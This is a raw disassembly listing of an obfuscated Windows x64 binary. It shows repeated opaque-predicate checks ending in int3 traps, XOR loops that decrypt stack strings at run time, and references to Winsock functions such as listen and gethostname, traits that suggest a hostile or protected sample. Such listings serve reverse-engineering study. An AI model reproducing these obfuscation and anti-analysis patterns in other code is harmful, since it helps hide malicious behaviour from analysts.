mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r15
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14002ab51
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002af02
inc edi
cmp edi, 5
jl 0x14002ac10
movdqa xmm0, xmmword [0x1400f5de0]
movdqu xmmword [rbp + 0x9f8], xmm0
movdqa xmm1, xmmword [0x1400f5cc0]
movdqu xmmword [rbp + 0xa08], xmm1
mov byte [rbp + 0xa18], gethostname
mov byte [rbp + 0xa19], 0x53
mov byte [rbp + 0xa1a], 0x47
mov byte [rbp + 0xa1b], 0x87
mov byte [rbp + 0xa1c], 0xee
mov byte [rbp + 0xa1d], Ordinal_217
mov byte [rbp + 0xa1e], 0x9e
mov byte [rbp + 0xa1f], 5
mov byte [rbp + 0xa20], 0x56
mov byte [rbp + 0xa21], WSAGetLastError
mov byte [rbp + 0xa22], 0xa4
mov byte [rbp + 0xa23], 0xbb
xor eax, eax
mov byte [rbp + 0xa24], al
mov r8, rbx
movabs r9, 0x42b71b8408
lea r10d, [rax + 0x2c]
movabs r11, 0x8080808080808081
movabs r15, 0x184295a46
movabs r12, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x9f8]
xor dil, r8b
mov byte [rbp + r8 + 0x9f8], dil
inc r8
add r9, r15
add r10, 0x2c
movabs rax, 0x856e370810
cmp r9, rax
jb 0x14002ad22
mov byte [rbp + 0xa24], bl
lea rdx, [rbp + 0x9f8]
lea rcx, [rbp + 0xf60]
call fcn.140006698
mov rax, qword gs:[0x15]
mov r10d, 0xa8e3e350
cmp rax, r10
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
jne 0x14002af18
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r11d, 0x8aec58f0
mov rax, r11
cqo
idiv rcx
imul rdx, r10
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14002ade8
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
imul rcx, r11
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002af0d
inc edi
cmp edi, 7
jl 0x14002ae87
jmp 0x14002af22
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
movabs r11, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x14002b05f
mov rdi, rbx
mov r8d, r14d
mov r9, rsi
movabs r10, 0x38728acc6e2e5700
dec r8d
dec r9
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002af85
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002af47
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002c7e0
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14002aff4
lea rcx, [rbp + 0x8b0]
call fcn.140026acc
mov rdi, rax
lea rcx, [rsp + 0x78]
call fcn.1400067a8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0xf20]
call fcn.14003de0c
lea rcx, [rbp + 0x8b0]
call fcn.14003dd48
lea rcx, [rbp + 0x8b0]
call fcn.140006cc8
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x14002b220
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
mov ebx, 0xdeedfeff
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r15
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14002b0e6
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002c7eb
inc edi
cmp edi, 5
jl 0x14002b1b9
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002b38d
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, r11
mov ebx, 0xdeedfeff
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r15
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14002b253
xor r8, rdi
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd20], rax
lea rcx, [r8 + r11]
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002c7f6
inc edi
cmp edi, 5
jl 0x14002b326
mov byte [rbp - 0x30], 0xbe
mov byte [rbp - 0x2f], reloc.WS2_32.dll_listen
mov byte [rbp - 0x2e], Ordinal_41
mov byte [rbp - 0x2d], 0x33
mov byte [rbp - 0x2c], 0x7b
mov byte [rbp - 0x2b], reloc.WS2_32.dll_WSACleanup
xor eax, eax
mov byte [rbp - 0x2a], al
mov r8, rbx
mov r9, r15
lea r11d, [rax + 6]
mov r10d, r11d
movabs rsi, 0x8080808080808081
movabs rbx, 0x184295a45
movabs r15, 0x184295a46
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 - 0x30]
xor dil, r8b
mov byte [rbp + r8 - 0x30], dil
inc r8
add r9, r15
add r10, r11
cmp r9, r12
jb 0x14002b3d5
xor ebx, ebx
mov byte [rbp - 0x2a], bl
mov byte [rbp - 0x38], 0xa7
mov byte [rbp - 0x37], Ordinal_32
mov byte [rbp - 0x36], Ordinal_41
mov byte [rbp - 0x35], 0x33
mov byte [rbp - 0x34], 0x7b
mov byte [rbp - 0x33], reloc.WS2_32.dll_WSACleanup
xor eax, eax
mov byte [rbp - 0x32], al
mov r8d, ebx
mov r9, r11
mov r15, qword [rsp + 0x60]
mov esi, 0xa8e3e360
movabs rbx, 0x184295a46
movabs r10, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
movabs rdi, 0x184295a45
shr rdi, cl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r10
mul r15
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r15
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x38], dil
inc r8
add r15, rbx
add r9, r11
cmp r15, r12
jb 0x14002b479
xor ebx, ebx
mov byte [rbp - 0x32], bl
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x8f0]
call fcn.14003e114
lea rdx, [rbp + 0xf20]
mov rcx, rax
call fcn.14003d67c
mov rdx, rax
lea rcx, [rbp + 0x910]
call fcn.14003d7d0
lea rcx, [rbp - 0x30]
call fcn.140006800
mov rcx, rax
call fcn.1400067a8
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x910]
call fcn.14003d5f8
mov rdx, rax
lea rcx, [rbp + 0x930]
call fcn.14003d7d0
lea rdx, [0x14010b310]
lea rcx, [rbp + 0x930]
call fcn.14003d67c
mov rdx, rax
lea rcx, [rbp + 0xee0]
call fcn.14003d7d0
lea rcx, [rbp + 0x930]
call fcn.14003dd48
lea rcx, [rbp + 0x930]
call fcn.140006cc8
lea rcx, [rbp + 0x910]
call fcn.14003dd48
lea rcx, [rbp + 0x910]
call fcn.140006cc8
lea rcx, [rbp + 0x8f0]
call fcn.14003dd48
lea rcx, [rbp + 0x8f0]
call fcn.140006cc8
mov rax, qword gs:[0x15]
mov r10d, 0xa8e3e350
lea r15d, [rbx + 1]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, r10
jne 0x14002b703
mov edi, ebx
mov r8d, r14d
mov r9, rsi
movabs r10, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002b628
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002b5e8
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c801
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14002b697
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x14002b843
mov rdi, rbx
mov r8d, r14d
mov r9, rsi
movabs r10, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002b768
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002b728
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r10
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c80c
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14002b7d7
lea rcx, [rbp + 0xf20]
call fcn.14003d548
mov rcx, rax
xor edx, edx
lea r8d, [rdx + 0xa]
call fcn.1400ad830
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x14002b9cd
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
movabs r12, 0x2aaaaaaaaaaaaaab
mov rdx, rsi
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002b895
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r10, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
mov esi, 0xa8e3e360
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c817
add edi, r15d
cmp edi, 5
jl 0x14002b965
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002bafa
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x14002b9f1
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c822
add edi, r15d
cmp edi, 7
jl 0x14002ba92
mov dl, byte [rsp + 0x78]
lea rcx, [rbp + 0xec0]
call fcn.140006750
lea rcx, [rbp + 0xec0]
call fcn.14003dde4
nop
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x14002bc67
mov rdi, rbx
mov r8d, r14d
mov r9, rsi
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r11, 0x38728acc6e2e5700
sub r8d, r15d
sub r9, r15
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002bb8c
sub ecx, r15d
or ecx, 0xfffffffc
add ecx, r15d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002bb4c
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c82d
add edi, r15d
mov eax, 0xa
cmp edi, eax
jl 0x14002bbfb
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002bdcc
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, r11
mov esi, 0xdb4576f5
mov ebx, 0xdeedfeff
movabs r12, 0x2aaaaaaaaaaaaaab
mov rdx, rsi
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r15d
add r9, r15
cmp r8d, 8
jl 0x14002bc99
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r8, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c838
add edi, r15d
cmp edi, 5
jl 0x14002bd64
lea rcx, [rbp + 0xee0]
call fcn.14003d548
mov rdx, rax
lea rcx, [rbp + 0x850]
call fcn.140006698
mov rcx, rax
xor r8d, r8d
lea rdx, [rbp + 0xec0]
call fcn.14002592c
mov r11d, eax
mov dword [rsp + 0x68], eax
mov rax, qword gs:[0x15]
mov r10d, 0xa8e3e350
cmp rax, r10
jne 0x14002bf3a
mov r8, rbx
mov rcx, r15
mov r9d, 5
mov r12d, 0x8aec58f0
mov rax, r12
cqo
idiv rcx
imul rdx, r10
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r15
sub r9, r15
jne 0x14002be2a
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r12
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14002c843
add edi, r15d
cmp edi, 7
jl 0x14002becb
test r11d, r11d
je 0x14002c1c6
movdqa xmm0, xmmword [0x1400f5c10]
movdqu xmmword [rbp + 0x6d0], xmm0
mov byte [rbp + 0x6e0], WSAGetLastError
mov byte [rbp + 0x6e1], Ordinal_211
mov byte [rbp + 0x6e2], Ordinal_217
mov byte [rbp + 0x6e3], 0xaa
mov byte [rbp + 0x6e4], 0x86
mov byte [rbp + 0x6e5], 8
mov byte [rbp + 0x6e6], 0xaa
mov byte [rbp + 0x6e7], 0xf6
mov byte [rbp + 0x6e8], Ordinal_60
xor eax, eax
mov byte [rbp + 0x6e9], al
mov r8, rbx
movabs rsi, 0x8080808080808081
lea r10d, [rax + 0x19]
movabs r9, 0x25e809d0d6
movabs r12, 0x184295a46
movabs r11, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r11
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x6d0]
xor dil, r8b
mov byte [rbp + r8 + 0x6d0], dil
add r8, r15
add r9, r12
add r10, 0x19
movabs rax, 0x4bd013a1ac
cmp r9, rax
jb 0x14002bfc9
mov byte [rbp + 0x6e9], bl
mov r8d, r15d
mov edx, dword [rsp + 0x68]
lea rcx, [rbp + 0x6d0]
call fcn.140025168
mov rax, qword gs:[0x15]
